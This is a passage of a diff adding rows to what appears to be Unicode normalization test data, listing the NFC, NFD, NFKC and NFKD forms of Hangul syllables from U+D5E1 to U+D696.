+{ source: [0xD5E1], NFC: [0xD5E1], NFD: [0x1112, 0x1165, 0x11C0], NFKC: [0xD5E1], NFKD: [0x1112, 0x1165, 0x11C0] },
+{ source: [0xD5E2], NFC: [0xD5E2], NFD: [0x1112, 0x1165, 0x11C1], NFKC: [0xD5E2], NFKD: [0x1112, 0x1165, 0x11C1] },
+{ source: [0xD5E3], NFC: [0xD5E3], NFD: [0x1112, 0x1165, 0x11C2], NFKC: [0xD5E3], NFKD: [0x1112, 0x1165, 0x11C2] },
+{ source: [0xD5E4], NFC: [0xD5E4], NFD: [0x1112, 0x1166], NFKC: [0xD5E4], NFKD: [0x1112, 0x1166] },
+{ source: [0xD5E5], NFC: [0xD5E5], NFD: [0x1112, 0x1166, 0x11A8], NFKC: [0xD5E5], NFKD: [0x1112, 0x1166, 0x11A8] },
+{ source: [0xD5E6], NFC: [0xD5E6], NFD: [0x1112, 0x1166, 0x11A9], NFKC: [0xD5E6], NFKD: [0x1112, 0x1166, 0x11A9] },
+{ source: [0xD5E7], NFC: [0xD5E7], NFD: [0x1112, 0x1166, 0x11AA], NFKC: [0xD5E7], NFKD: [0x1112, 0x1166, 0x11AA] },
+{ source: [0xD5E8], NFC: [0xD5E8], NFD: [0x1112, 0x1166, 0x11AB], NFKC: [0xD5E8], NFKD: [0x1112, 0x1166, 0x11AB] },
+{ source: [0xD5E9], NFC: [0xD5E9], NFD: [0x1112, 0x1166, 0x11AC], NFKC: [0xD5E9], NFKD: [0x1112, 0x1166, 0x11AC] },
+{ source: [0xD5EA], NFC: [0xD5EA], NFD: [0x1112, 0x1166, 0x11AD], NFKC: [0xD5EA], NFKD: [0x1112, 0x1166, 0x11AD] },
+{ source: [0xD5EB], NFC: [0xD5EB], NFD: [0x1112, 0x1166, 0x11AE], NFKC: [0xD5EB], NFKD: [0x1112, 0x1166, 0x11AE] },
+{ source: [0xD5EC], NFC: [0xD5EC], NFD: [0x1112, 0x1166, 0x11AF], NFKC: [0xD5EC], NFKD: [0x1112, 0x1166, 0x11AF] },
+{ source: [0xD5ED], NFC: [0xD5ED], NFD: [0x1112, 0x1166, 0x11B0], NFKC: [0xD5ED], NFKD: [0x1112, 0x1166, 0x11B0] },
+{ source: [0xD5EE], NFC: [0xD5EE], NFD: [0x1112, 0x1166, 0x11B1], NFKC: [0xD5EE], NFKD: [0x1112, 0x1166, 0x11B1] },
+{ source: [0xD5EF], NFC: [0xD5EF], NFD: [0x1112, 0x1166, 0x11B2], NFKC: [0xD5EF], NFKD: [0x1112, 0x1166, 0x11B2] },
+{ source: [0xD5F0], NFC: [0xD5F0], NFD: [0x1112, 0x1166, 0x11B3], NFKC: [0xD5F0], NFKD: [0x1112, 0x1166, 0x11B3] },
+{ source: [0xD5F1], NFC: [0xD5F1], NFD: [0x1112, 0x1166, 0x11B4], NFKC: [0xD5F1], NFKD: [0x1112, 0x1166, 0x11B4] },
+{ source: [0xD5F2], NFC: [0xD5F2], NFD: [0x1112, 0x1166, 0x11B5], NFKC: [0xD5F2], NFKD: [0x1112, 0x1166, 0x11B5] },
+{ source: [0xD5F3], NFC: [0xD5F3], NFD: [0x1112, 0x1166, 0x11B6], NFKC: [0xD5F3], NFKD: [0x1112, 0x1166, 0x11B6] },
+{ source: [0xD5F4], NFC: [0xD5F4], NFD: [0x1112, 0x1166, 0x11B7], NFKC: [0xD5F4], NFKD: [0x1112, 0x1166, 0x11B7] },
+{ source: [0xD5F5], NFC: [0xD5F5], NFD: [0x1112, 0x1166, 0x11B8], NFKC: [0xD5F5], NFKD: [0x1112, 0x1166, 0x11B8] },
+{ source: [0xD5F6], NFC: [0xD5F6], NFD: [0x1112, 0x1166, 0x11B9], NFKC: [0xD5F6], NFKD: [0x1112, 0x1166, 0x11B9] },
+{ source: [0xD5F7], NFC: [0xD5F7], NFD: [0x1112, 0x1166, 0x11BA], NFKC: [0xD5F7], NFKD: [0x1112, 0x1166, 0x11BA] },
+{ source: [0xD5F8], NFC: [0xD5F8], NFD: [0x1112, 0x1166, 0x11BB], NFKC: [0xD5F8], NFKD: [0x1112, 0x1166, 0x11BB] },
+{ source: [0xD5F9], NFC: [0xD5F9], NFD: [0x1112, 0x1166, 0x11BC], NFKC: [0xD5F9], NFKD: [0x1112, 0x1166, 0x11BC] },
+{ source: [0xD5FA], NFC: [0xD5FA], NFD: [0x1112, 0x1166, 0x11BD], NFKC: [0xD5FA], NFKD: [0x1112, 0x1166, 0x11BD] },
+{ source: [0xD5FB], NFC: [0xD5FB], NFD: [0x1112, 0x1166, 0x11BE], NFKC: [0xD5FB], NFKD: [0x1112, 0x1166, 0x11BE] },
+{ source: [0xD5FC], NFC: [0xD5FC], NFD: [0x1112, 0x1166, 0x11BF], NFKC: [0xD5FC], NFKD: [0x1112, 0x1166, 0x11BF] },
+{ source: [0xD5FD], NFC: [0xD5FD], NFD: [0x1112, 0x1166, 0x11C0], NFKC: [0xD5FD], NFKD: [0x1112, 0x1166, 0x11C0] },
+{ source: [0xD5FE], NFC: [0xD5FE], NFD: [0x1112, 0x1166, 0x11C1], NFKC: [0xD5FE], NFKD: [0x1112, 0x1166, 0x11C1] },
+{ source: [0xD5FF], NFC: [0xD5FF], NFD: [0x1112, 0x1166, 0x11C2], NFKC: [0xD5FF], NFKD: [0x1112, 0x1166, 0x11C2] },
+{ source: [0xD600], NFC: [0xD600], NFD: [0x1112, 0x1167], NFKC: [0xD600], NFKD: [0x1112, 0x1167] },
+{ source: [0xD601], NFC: [0xD601], NFD: [0x1112, 0x1167, 0x11A8], NFKC: [0xD601], NFKD: [0x1112, 0x1167, 0x11A8] },
+{ source: [0xD602], NFC: [0xD602], NFD: [0x1112, 0x1167, 0x11A9], NFKC: [0xD602], NFKD: [0x1112, 0x1167, 0x11A9] },
+{ source: [0xD603], NFC: [0xD603], NFD: [0x1112, 0x1167, 0x11AA], NFKC: [0xD603], NFKD: [0x1112, 0x1167, 0x11AA] },
+{ source: [0xD604], NFC: [0xD604], NFD: [0x1112, 0x1167, 0x11AB], NFKC: [0xD604], NFKD: [0x1112, 0x1167, 0x11AB] },
+{ source: [0xD605], NFC: [0xD605], NFD: [0x1112, 0x1167, 0x11AC], NFKC: [0xD605], NFKD: [0x1112, 0x1167, 0x11AC] },
+{ source: [0xD606], NFC: [0xD606], NFD: [0x1112, 0x1167, 0x11AD], NFKC: [0xD606], NFKD: [0x1112, 0x1167, 0x11AD] },
+{ source: [0xD607], NFC: [0xD607], NFD: [0x1112, 0x1167, 0x11AE], NFKC: [0xD607], NFKD: [0x1112, 0x1167, 0x11AE] },
+{ source: [0xD608], NFC: [0xD608], NFD: [0x1112, 0x1167, 0x11AF], NFKC: [0xD608], NFKD: [0x1112, 0x1167, 0x11AF] },
+{ source: [0xD609], NFC: [0xD609], NFD: [0x1112, 0x1167, 0x11B0], NFKC: [0xD609], NFKD: [0x1112, 0x1167, 0x11B0] },
+{ source: [0xD60A], NFC: [0xD60A], NFD: [0x1112, 0x1167, 0x11B1], NFKC: [0xD60A], NFKD: [0x1112, 0x1167, 0x11B1] },
+{ source: [0xD60B], NFC: [0xD60B], NFD: [0x1112, 0x1167, 0x11B2], NFKC: [0xD60B], NFKD: [0x1112, 0x1167, 0x11B2] },
+{ source: [0xD60C], NFC: [0xD60C], NFD: [0x1112, 0x1167, 0x11B3], NFKC: [0xD60C], NFKD: [0x1112, 0x1167, 0x11B3] },
+{ source: [0xD60D], NFC: [0xD60D], NFD: [0x1112, 0x1167, 0x11B4], NFKC: [0xD60D], NFKD: [0x1112, 0x1167, 0x11B4] },
+{ source: [0xD60E], NFC: [0xD60E], NFD: [0x1112, 0x1167, 0x11B5], NFKC: [0xD60E], NFKD: [0x1112, 0x1167, 0x11B5] },
+{ source: [0xD60F], NFC: [0xD60F], NFD: [0x1112, 0x1167, 0x11B6], NFKC: [0xD60F], NFKD: [0x1112, 0x1167, 0x11B6] },
+{ source: [0xD610], NFC: [0xD610], NFD: [0x1112, 0x1167, 0x11B7], NFKC: [0xD610], NFKD: [0x1112, 0x1167, 0x11B7] },
+{ source: [0xD611], NFC: [0xD611], NFD: [0x1112, 0x1167, 0x11B8], NFKC: [0xD611], NFKD: [0x1112, 0x1167, 0x11B8] },
+{ source: [0xD612], NFC: [0xD612], NFD: [0x1112, 0x1167, 0x11B9], NFKC: [0xD612], NFKD: [0x1112, 0x1167, 0x11B9] },
+{ source: [0xD613], NFC: [0xD613], NFD: [0x1112, 0x1167, 0x11BA], NFKC: [0xD613], NFKD: [0x1112, 0x1167, 0x11BA] },
+{ source: [0xD614], NFC: [0xD614], NFD: [0x1112, 0x1167, 0x11BB], NFKC: [0xD614], NFKD: [0x1112, 0x1167, 0x11BB] },
+{ source: [0xD615], NFC: [0xD615], NFD: [0x1112, 0x1167, 0x11BC], NFKC: [0xD615], NFKD: [0x1112, 0x1167, 0x11BC] },
+{ source: [0xD616], NFC: [0xD616], NFD: [0x1112, 0x1167, 0x11BD], NFKC: [0xD616], NFKD: [0x1112, 0x1167, 0x11BD] },
+{ source: [0xD617], NFC: [0xD617], NFD: [0x1112, 0x1167, 0x11BE], NFKC: [0xD617], NFKD: [0x1112, 0x1167, 0x11BE] },
+{ source: [0xD618], NFC: [0xD618], NFD: [0x1112, 0x1167, 0x11BF], NFKC: [0xD618], NFKD: [0x1112, 0x1167, 0x11BF] },
+{ source: [0xD619], NFC: [0xD619], NFD: [0x1112, 0x1167, 0x11C0], NFKC: [0xD619], NFKD: [0x1112, 0x1167, 0x11C0] },
+{ source: [0xD61A], NFC: [0xD61A], NFD: [0x1112, 0x1167, 0x11C1], NFKC: [0xD61A], NFKD: [0x1112, 0x1167, 0x11C1] },
+{ source: [0xD61B], NFC: [0xD61B], NFD: [0x1112, 0x1167, 0x11C2], NFKC: [0xD61B], NFKD: [0x1112, 0x1167, 0x11C2] },
+{ source: [0xD61C], NFC: [0xD61C], NFD: [0x1112, 0x1168], NFKC: [0xD61C], NFKD: [0x1112, 0x1168] },
+{ source: [0xD61D], NFC: [0xD61D], NFD: [0x1112, 0x1168, 0x11A8], NFKC: [0xD61D], NFKD: [0x1112, 0x1168, 0x11A8] },
+{ source: [0xD61E], NFC: [0xD61E], NFD: [0x1112, 0x1168, 0x11A9], NFKC: [0xD61E], NFKD: [0x1112, 0x1168, 0x11A9] },
+{ source: [0xD61F], NFC: [0xD61F], NFD: [0x1112, 0x1168, 0x11AA], NFKC: [0xD61F], NFKD: [0x1112, 0x1168, 0x11AA] },
+{ source: [0xD620], NFC: [0xD620], NFD: [0x1112, 0x1168, 0x11AB], NFKC: [0xD620], NFKD: [0x1112, 0x1168, 0x11AB] },
+{ source: [0xD621], NFC: [0xD621], NFD: [0x1112, 0x1168, 0x11AC], NFKC: [0xD621], NFKD: [0x1112, 0x1168, 0x11AC] },
+{ source: [0xD622], NFC: [0xD622], NFD: [0x1112, 0x1168, 0x11AD], NFKC: [0xD622], NFKD: [0x1112, 0x1168, 0x11AD] },
+{ source: [0xD623], NFC: [0xD623], NFD: [0x1112, 0x1168, 0x11AE], NFKC: [0xD623], NFKD: [0x1112, 0x1168, 0x11AE] },
+{ source: [0xD624], NFC: [0xD624], NFD: [0x1112, 0x1168, 0x11AF], NFKC: [0xD624], NFKD: [0x1112, 0x1168, 0x11AF] },
+{ source: [0xD625], NFC: [0xD625], NFD: [0x1112, 0x1168, 0x11B0], NFKC: [0xD625], NFKD: [0x1112, 0x1168, 0x11B0] },
+{ source: [0xD626], NFC: [0xD626], NFD: [0x1112, 0x1168, 0x11B1], NFKC: [0xD626], NFKD: [0x1112, 0x1168, 0x11B1] },
+{ source: [0xD627], NFC: [0xD627], NFD: [0x1112, 0x1168, 0x11B2], NFKC: [0xD627], NFKD: [0x1112, 0x1168, 0x11B2] },
+{ source: [0xD628], NFC: [0xD628], NFD: [0x1112, 0x1168, 0x11B3], NFKC: [0xD628], NFKD: [0x1112, 0x1168, 0x11B3] },
+{ source: [0xD629], NFC: [0xD629], NFD: [0x1112, 0x1168, 0x11B4], NFKC: [0xD629], NFKD: [0x1112, 0x1168, 0x11B4] },
+{ source: [0xD62A], NFC: [0xD62A], NFD: [0x1112, 0x1168, 0x11B5], NFKC: [0xD62A], NFKD: [0x1112, 0x1168, 0x11B5] },
+{ source: [0xD62B], NFC: [0xD62B], NFD: [0x1112, 0x1168, 0x11B6], NFKC: [0xD62B], NFKD: [0x1112, 0x1168, 0x11B6] },
+{ source: [0xD62C], NFC: [0xD62C], NFD: [0x1112, 0x1168, 0x11B7], NFKC: [0xD62C], NFKD: [0x1112, 0x1168, 0x11B7] },
+{ source: [0xD62D], NFC: [0xD62D], NFD: [0x1112, 0x1168, 0x11B8], NFKC: [0xD62D], NFKD: [0x1112, 0x1168, 0x11B8] },
+{ source: [0xD62E], NFC: [0xD62E], NFD: [0x1112, 0x1168, 0x11B9], NFKC: [0xD62E], NFKD: [0x1112, 0x1168, 0x11B9] },
+{ source: [0xD62F], NFC: [0xD62F], NFD: [0x1112, 0x1168, 0x11BA], NFKC: [0xD62F], NFKD: [0x1112, 0x1168, 0x11BA] },
+{ source: [0xD630], NFC: [0xD630], NFD: [0x1112, 0x1168, 0x11BB], NFKC: [0xD630], NFKD: [0x1112, 0x1168, 0x11BB] },
+{ source: [0xD631], NFC: [0xD631], NFD: [0x1112, 0x1168, 0x11BC], NFKC: [0xD631], NFKD: [0x1112, 0x1168, 0x11BC] },
+{ source: [0xD632], NFC: [0xD632], NFD: [0x1112, 0x1168, 0x11BD], NFKC: [0xD632], NFKD: [0x1112, 0x1168, 0x11BD] },
+{ source: [0xD633], NFC: [0xD633], NFD: [0x1112, 0x1168, 0x11BE], NFKC: [0xD633], NFKD: [0x1112, 0x1168, 0x11BE] },
+{ source: [0xD634], NFC: [0xD634], NFD: [0x1112, 0x1168, 0x11BF], NFKC: [0xD634], NFKD: [0x1112, 0x1168, 0x11BF] },
+{ source: [0xD635], NFC: [0xD635], NFD: [0x1112, 0x1168, 0x11C0], NFKC: [0xD635], NFKD: [0x1112, 0x1168, 0x11C0] },
+{ source: [0xD636], NFC: [0xD636], NFD: [0x1112, 0x1168, 0x11C1], NFKC: [0xD636], NFKD: [0x1112, 0x1168, 0x11C1] },
+{ source: [0xD637], NFC: [0xD637], NFD: [0x1112, 0x1168, 0x11C2], NFKC: [0xD637], NFKD: [0x1112, 0x1168, 0x11C2] },
+{ source: [0xD638], NFC: [0xD638], NFD: [0x1112, 0x1169], NFKC: [0xD638], NFKD: [0x1112, 0x1169] },
+{ source: [0xD639], NFC: [0xD639], NFD: [0x1112, 0x1169, 0x11A8], NFKC: [0xD639], NFKD: [0x1112, 0x1169, 0x11A8] },
+{ source: [0xD63A], NFC: [0xD63A], NFD: [0x1112, 0x1169, 0x11A9], NFKC: [0xD63A], NFKD: [0x1112, 0x1169, 0x11A9] },
+{ source: [0xD63B], NFC: [0xD63B], NFD: [0x1112, 0x1169, 0x11AA], NFKC: [0xD63B], NFKD: [0x1112, 0x1169, 0x11AA] },
+{ source: [0xD63C], NFC: [0xD63C], NFD: [0x1112, 0x1169, 0x11AB], NFKC: [0xD63C], NFKD: [0x1112, 0x1169, 0x11AB] },
+{ source: [0xD63D], NFC: [0xD63D], NFD: [0x1112, 0x1169, 0x11AC], NFKC: [0xD63D], NFKD: [0x1112, 0x1169, 0x11AC] },
+{ source: [0xD63E], NFC: [0xD63E], NFD: [0x1112, 0x1169, 0x11AD], NFKC: [0xD63E], NFKD: [0x1112, 0x1169, 0x11AD] },
+{ source: [0xD63F], NFC: [0xD63F], NFD: [0x1112, 0x1169, 0x11AE], NFKC: [0xD63F], NFKD: [0x1112, 0x1169, 0x11AE] },
+{ source: [0xD640], NFC: [0xD640], NFD: [0x1112, 0x1169, 0x11AF], NFKC: [0xD640], NFKD: [0x1112, 0x1169, 0x11AF] },
+{ source: [0xD641], NFC: [0xD641], NFD: [0x1112, 0x1169, 0x11B0], NFKC: [0xD641], NFKD: [0x1112, 0x1169, 0x11B0] },
+{ source: [0xD642], NFC: [0xD642], NFD: [0x1112, 0x1169, 0x11B1], NFKC: [0xD642], NFKD: [0x1112, 0x1169, 0x11B1] },
+{ source: [0xD643], NFC: [0xD643], NFD: [0x1112, 0x1169, 0x11B2], NFKC: [0xD643], NFKD: [0x1112, 0x1169, 0x11B2] },
+{ source: [0xD644], NFC: [0xD644], NFD: [0x1112, 0x1169, 0x11B3], NFKC: [0xD644], NFKD: [0x1112, 0x1169, 0x11B3] },
+{ source: [0xD645], NFC: [0xD645], NFD: [0x1112, 0x1169, 0x11B4], NFKC: [0xD645], NFKD: [0x1112, 0x1169, 0x11B4] },
+{ source: [0xD646], NFC: [0xD646], NFD: [0x1112, 0x1169, 0x11B5], NFKC: [0xD646], NFKD: [0x1112, 0x1169, 0x11B5] },
+{ source: [0xD647], NFC: [0xD647], NFD: [0x1112, 0x1169, 0x11B6], NFKC: [0xD647], NFKD: [0x1112, 0x1169, 0x11B6] },
+{ source: [0xD648], NFC: [0xD648], NFD: [0x1112, 0x1169, 0x11B7], NFKC: [0xD648], NFKD: [0x1112, 0x1169, 0x11B7] },
+{ source: [0xD649], NFC: [0xD649], NFD: [0x1112, 0x1169, 0x11B8], NFKC: [0xD649], NFKD: [0x1112, 0x1169, 0x11B8] },
+{ source: [0xD64A], NFC: [0xD64A], NFD: [0x1112, 0x1169, 0x11B9], NFKC: [0xD64A], NFKD: [0x1112, 0x1169, 0x11B9] },
+{ source: [0xD64B], NFC: [0xD64B], NFD: [0x1112, 0x1169, 0x11BA], NFKC: [0xD64B], NFKD: [0x1112, 0x1169, 0x11BA] },
+{ source: [0xD64C], NFC: [0xD64C], NFD: [0x1112, 0x1169, 0x11BB], NFKC: [0xD64C], NFKD: [0x1112, 0x1169, 0x11BB] },
+{ source: [0xD64D], NFC: [0xD64D], NFD: [0x1112, 0x1169, 0x11BC], NFKC: [0xD64D], NFKD: [0x1112, 0x1169, 0x11BC] },
+{ source: [0xD64E], NFC: [0xD64E], NFD: [0x1112, 0x1169, 0x11BD], NFKC: [0xD64E], NFKD: [0x1112, 0x1169, 0x11BD] },
+{ source: [0xD64F], NFC: [0xD64F], NFD: [0x1112, 0x1169, 0x11BE], NFKC: [0xD64F], NFKD: [0x1112, 0x1169, 0x11BE] },
+{ source: [0xD650], NFC: [0xD650], NFD: [0x1112, 0x1169, 0x11BF], NFKC: [0xD650], NFKD: [0x1112, 0x1169, 0x11BF] },
+{ source: [0xD651], NFC: [0xD651], NFD: [0x1112, 0x1169, 0x11C0], NFKC: [0xD651], NFKD: [0x1112, 0x1169, 0x11C0] },
+{ source: [0xD652], NFC: [0xD652], NFD: [0x1112, 0x1169, 0x11C1], NFKC: [0xD652], NFKD: [0x1112, 0x1169, 0x11C1] },
+{ source: [0xD653], NFC: [0xD653], NFD: [0x1112, 0x1169, 0x11C2], NFKC: [0xD653], NFKD: [0x1112, 0x1169, 0x11C2] },
+{ source: [0xD654], NFC: [0xD654], NFD: [0x1112, 0x116A], NFKC: [0xD654], NFKD: [0x1112, 0x116A] },
+{ source: [0xD655], NFC: [0xD655], NFD: [0x1112, 0x116A, 0x11A8], NFKC: [0xD655], NFKD: [0x1112, 0x116A, 0x11A8] },
+{ source: [0xD656], NFC: [0xD656], NFD: [0x1112, 0x116A, 0x11A9], NFKC: [0xD656], NFKD: [0x1112, 0x116A, 0x11A9] },
+{ source: [0xD657], NFC: [0xD657], NFD: [0x1112, 0x116A, 0x11AA], NFKC: [0xD657], NFKD: [0x1112, 0x116A, 0x11AA] },
+{ source: [0xD658], NFC: [0xD658], NFD: [0x1112, 0x116A, 0x11AB], NFKC: [0xD658], NFKD: [0x1112, 0x116A, 0x11AB] },
+{ source: [0xD659], NFC: [0xD659], NFD: [0x1112, 0x116A, 0x11AC], NFKC: [0xD659], NFKD: [0x1112, 0x116A, 0x11AC] },
+{ source: [0xD65A], NFC: [0xD65A], NFD: [0x1112, 0x116A, 0x11AD], NFKC: [0xD65A], NFKD: [0x1112, 0x116A, 0x11AD] },
+{ source: [0xD65B], NFC: [0xD65B], NFD: [0x1112, 0x116A, 0x11AE], NFKC: [0xD65B], NFKD: [0x1112, 0x116A, 0x11AE] },
+{ source: [0xD65C], NFC: [0xD65C], NFD: [0x1112, 0x116A, 0x11AF], NFKC: [0xD65C], NFKD: [0x1112, 0x116A, 0x11AF] },
+{ source: [0xD65D], NFC: [0xD65D], NFD: [0x1112, 0x116A, 0x11B0], NFKC: [0xD65D], NFKD: [0x1112, 0x116A, 0x11B0] },
+{ source: [0xD65E], NFC: [0xD65E], NFD: [0x1112, 0x116A, 0x11B1], NFKC: [0xD65E], NFKD: [0x1112, 0x116A, 0x11B1] },
+{ source: [0xD65F], NFC: [0xD65F], NFD: [0x1112, 0x116A, 0x11B2], NFKC: [0xD65F], NFKD: [0x1112, 0x116A, 0x11B2] },
+{ source: [0xD660], NFC: [0xD660], NFD: [0x1112, 0x116A, 0x11B3], NFKC: [0xD660], NFKD: [0x1112, 0x116A, 0x11B3] },
+{ source: [0xD661], NFC: [0xD661], NFD: [0x1112, 0x116A, 0x11B4], NFKC: [0xD661], NFKD: [0x1112, 0x116A, 0x11B4] },
+{ source: [0xD662], NFC: [0xD662], NFD: [0x1112, 0x116A, 0x11B5], NFKC: [0xD662], NFKD: [0x1112, 0x116A, 0x11B5] },
+{ source: [0xD663], NFC: [0xD663], NFD: [0x1112, 0x116A, 0x11B6], NFKC: [0xD663], NFKD: [0x1112, 0x116A, 0x11B6] },
+{ source: [0xD664], NFC: [0xD664], NFD: [0x1112, 0x116A, 0x11B7], NFKC: [0xD664], NFKD: [0x1112, 0x116A, 0x11B7] },
+{ source: [0xD665], NFC: [0xD665], NFD: [0x1112, 0x116A, 0x11B8], NFKC: [0xD665], NFKD: [0x1112, 0x116A, 0x11B8] },
+{ source: [0xD666], NFC: [0xD666], NFD: [0x1112, 0x116A, 0x11B9], NFKC: [0xD666], NFKD: [0x1112, 0x116A, 0x11B9] },
+{ source: [0xD667], NFC: [0xD667], NFD: [0x1112, 0x116A, 0x11BA], NFKC: [0xD667], NFKD: [0x1112, 0x116A, 0x11BA] },
+{ source: [0xD668], NFC: [0xD668], NFD: [0x1112, 0x116A, 0x11BB], NFKC: [0xD668], NFKD: [0x1112, 0x116A, 0x11BB] },
+{ source: [0xD669], NFC: [0xD669], NFD: [0x1112, 0x116A, 0x11BC], NFKC: [0xD669], NFKD: [0x1112, 0x116A, 0x11BC] },
+{ source: [0xD66A], NFC: [0xD66A], NFD: [0x1112, 0x116A, 0x11BD], NFKC: [0xD66A], NFKD: [0x1112, 0x116A, 0x11BD] },
+{ source: [0xD66B], NFC: [0xD66B], NFD: [0x1112, 0x116A, 0x11BE], NFKC: [0xD66B], NFKD: [0x1112, 0x116A, 0x11BE] },
+{ source: [0xD66C], NFC: [0xD66C], NFD: [0x1112, 0x116A, 0x11BF], NFKC: [0xD66C], NFKD: [0x1112, 0x116A, 0x11BF] },
+{ source: [0xD66D], NFC: [0xD66D], NFD: [0x1112, 0x116A, 0x11C0], NFKC: [0xD66D], NFKD: [0x1112, 0x116A, 0x11C0] },
+{ source: [0xD66E], NFC: [0xD66E], NFD: [0x1112, 0x116A, 0x11C1], NFKC: [0xD66E], NFKD: [0x1112, 0x116A, 0x11C1] },
+{ source: [0xD66F], NFC: [0xD66F], NFD: [0x1112, 0x116A, 0x11C2], NFKC: [0xD66F], NFKD: [0x1112, 0x116A, 0x11C2] },
+{ source: [0xD670], NFC: [0xD670], NFD: [0x1112, 0x116B], NFKC: [0xD670], NFKD: [0x1112, 0x116B] },
+{ source: [0xD671], NFC: [0xD671], NFD: [0x1112, 0x116B, 0x11A8], NFKC: [0xD671], NFKD: [0x1112, 0x116B, 0x11A8] },
+{ source: [0xD672], NFC: [0xD672], NFD: [0x1112, 0x116B, 0x11A9], NFKC: [0xD672], NFKD: [0x1112, 0x116B, 0x11A9] },
+{ source: [0xD673], NFC: [0xD673], NFD: [0x1112, 0x116B, 0x11AA], NFKC: [0xD673], NFKD: [0x1112, 0x116B, 0x11AA] },
+{ source: [0xD674], NFC: [0xD674], NFD: [0x1112, 0x116B, 0x11AB], NFKC: [0xD674], NFKD: [0x1112, 0x116B, 0x11AB] },
+{ source: [0xD675], NFC: [0xD675], NFD: [0x1112, 0x116B, 0x11AC], NFKC: [0xD675], NFKD: [0x1112, 0x116B, 0x11AC] },
+{ source: [0xD676], NFC: [0xD676], NFD: [0x1112, 0x116B, 0x11AD], NFKC: [0xD676], NFKD: [0x1112, 0x116B, 0x11AD] },
+{ source: [0xD677], NFC: [0xD677], NFD: [0x1112, 0x116B, 0x11AE], NFKC: [0xD677], NFKD: [0x1112, 0x116B, 0x11AE] },
+{ source: [0xD678], NFC: [0xD678], NFD: [0x1112, 0x116B, 0x11AF], NFKC: [0xD678], NFKD: [0x1112, 0x116B, 0x11AF] },
+{ source: [0xD679], NFC: [0xD679], NFD: [0x1112, 0x116B, 0x11B0], NFKC: [0xD679], NFKD: [0x1112, 0x116B, 0x11B0] },
+{ source: [0xD67A], NFC: [0xD67A], NFD: [0x1112, 0x116B, 0x11B1], NFKC: [0xD67A], NFKD: [0x1112, 0x116B, 0x11B1] },
+{ source: [0xD67B], NFC: [0xD67B], NFD: [0x1112, 0x116B, 0x11B2], NFKC: [0xD67B], NFKD: [0x1112, 0x116B, 0x11B2] },
+{ source: [0xD67C], NFC: [0xD67C], NFD: [0x1112, 0x116B, 0x11B3], NFKC: [0xD67C], NFKD: [0x1112, 0x116B, 0x11B3] },
+{ source: [0xD67D], NFC: [0xD67D], NFD: [0x1112, 0x116B, 0x11B4], NFKC: [0xD67D], NFKD: [0x1112, 0x116B, 0x11B4] },
+{ source: [0xD67E], NFC: [0xD67E], NFD: [0x1112, 0x116B, 0x11B5], NFKC: [0xD67E], NFKD: [0x1112, 0x116B, 0x11B5] },
+{ source: [0xD67F], NFC: [0xD67F], NFD: [0x1112, 0x116B, 0x11B6], NFKC: [0xD67F], NFKD: [0x1112, 0x116B, 0x11B6] },
+{ source: [0xD680], NFC: [0xD680], NFD: [0x1112, 0x116B, 0x11B7], NFKC: [0xD680], NFKD: [0x1112, 0x116B, 0x11B7] },
+{ source: [0xD681], NFC: [0xD681], NFD: [0x1112, 0x116B, 0x11B8], NFKC: [0xD681], NFKD: [0x1112, 0x116B, 0x11B8] },
+{ source: [0xD682], NFC: [0xD682], NFD: [0x1112, 0x116B, 0x11B9], NFKC: [0xD682], NFKD: [0x1112, 0x116B, 0x11B9] },
+{ source: [0xD683], NFC: [0xD683], NFD: [0x1112, 0x116B, 0x11BA], NFKC: [0xD683], NFKD: [0x1112, 0x116B, 0x11BA] },
+{ source: [0xD684], NFC: [0xD684], NFD: [0x1112, 0x116B, 0x11BB], NFKC: [0xD684], NFKD: [0x1112, 0x116B, 0x11BB] },
+{ source: [0xD685], NFC: [0xD685], NFD: [0x1112, 0x116B, 0x11BC], NFKC: [0xD685], NFKD: [0x1112, 0x116B, 0x11BC] },
+{ source: [0xD686], NFC: [0xD686], NFD: [0x1112, 0x116B, 0x11BD], NFKC: [0xD686], NFKD: [0x1112, 0x116B, 0x11BD] },
+{ source: [0xD687], NFC: [0xD687], NFD: [0x1112, 0x116B, 0x11BE], NFKC: [0xD687], NFKD: [0x1112, 0x116B, 0x11BE] },
+{ source: [0xD688], NFC: [0xD688], NFD: [0x1112, 0x116B, 0x11BF], NFKC: [0xD688], NFKD: [0x1112, 0x116B, 0x11BF] },
+{ source: [0xD689], NFC: [0xD689], NFD: [0x1112, 0x116B, 0x11C0], NFKC: [0xD689], NFKD: [0x1112, 0x116B, 0x11C0] },
+{ source: [0xD68A], NFC: [0xD68A], NFD: [0x1112, 0x116B, 0x11C1], NFKC: [0xD68A], NFKD: [0x1112, 0x116B, 0x11C1] },
+{ source: [0xD68B], NFC: [0xD68B], NFD: [0x1112, 0x116B, 0x11C2], NFKC: [0xD68B], NFKD: [0x1112, 0x116B, 0x11C2] },
+{ source: [0xD68C], NFC: [0xD68C], NFD: [0x1112, 0x116C], NFKC: [0xD68C], NFKD: [0x1112, 0x116C] },
+{ source: [0xD68D], NFC: [0xD68D], NFD: [0x1112, 0x116C, 0x11A8], NFKC: [0xD68D], NFKD: [0x1112, 0x116C, 0x11A8] },
+{ source: [0xD68E], NFC: [0xD68E], NFD: [0x1112, 0x116C, 0x11A9], NFKC: [0xD68E], NFKD: [0x1112, 0x116C, 0x11A9] },
+{ source: [0xD68F], NFC: [0xD68F], NFD: [0x1112, 0x116C, 0x11AA], NFKC: [0xD68F], NFKD: [0x1112, 0x116C, 0x11AA] },
+{ source: [0xD690], NFC: [0xD690], NFD: [0x1112, 0x116C, 0x11AB], NFKC: [0xD690], NFKD: [0x1112, 0x116C, 0x11AB] },
+{ source: [0xD691], NFC: [0xD691], NFD: [0x1112, 0x116C, 0x11AC], NFKC: [0xD691], NFKD: [0x1112, 0x116C, 0x11AC] },
+{ source: [0xD692], NFC: [0xD692], NFD: [0x1112, 0x116C, 0x11AD], NFKC: [0xD692], NFKD: [0x1112, 0x116C, 0x11AD] },
+{ source: [0xD693], NFC: [0xD693], NFD: [0x1112, 0x116C, 0x11AE], NFKC: [0xD693], NFKD: [0x1112, 0x116C, 0x11AE] },
+{ source: [0xD694], NFC: [0xD694], NFD: [0x1112, 0x116C, 0x11AF], NFKC: [0xD694], NFKD: [0x1112, 0x116C, 0x11AF] },
+{ source: [0xD695], NFC: [0xD695], NFD: [0x1112, 0x116C, 0x11B0], NFKC: [0xD695], NFKD: [0x1112, 0x116C, 0x11B0] },
+{ source: [0xD696], NFC: [0xD696], NFD: [0x1112, 0x116C, 0x11B1], NFKC: [0xD696], NFKD: [0x1112, 0x116C, 0x11B1] },
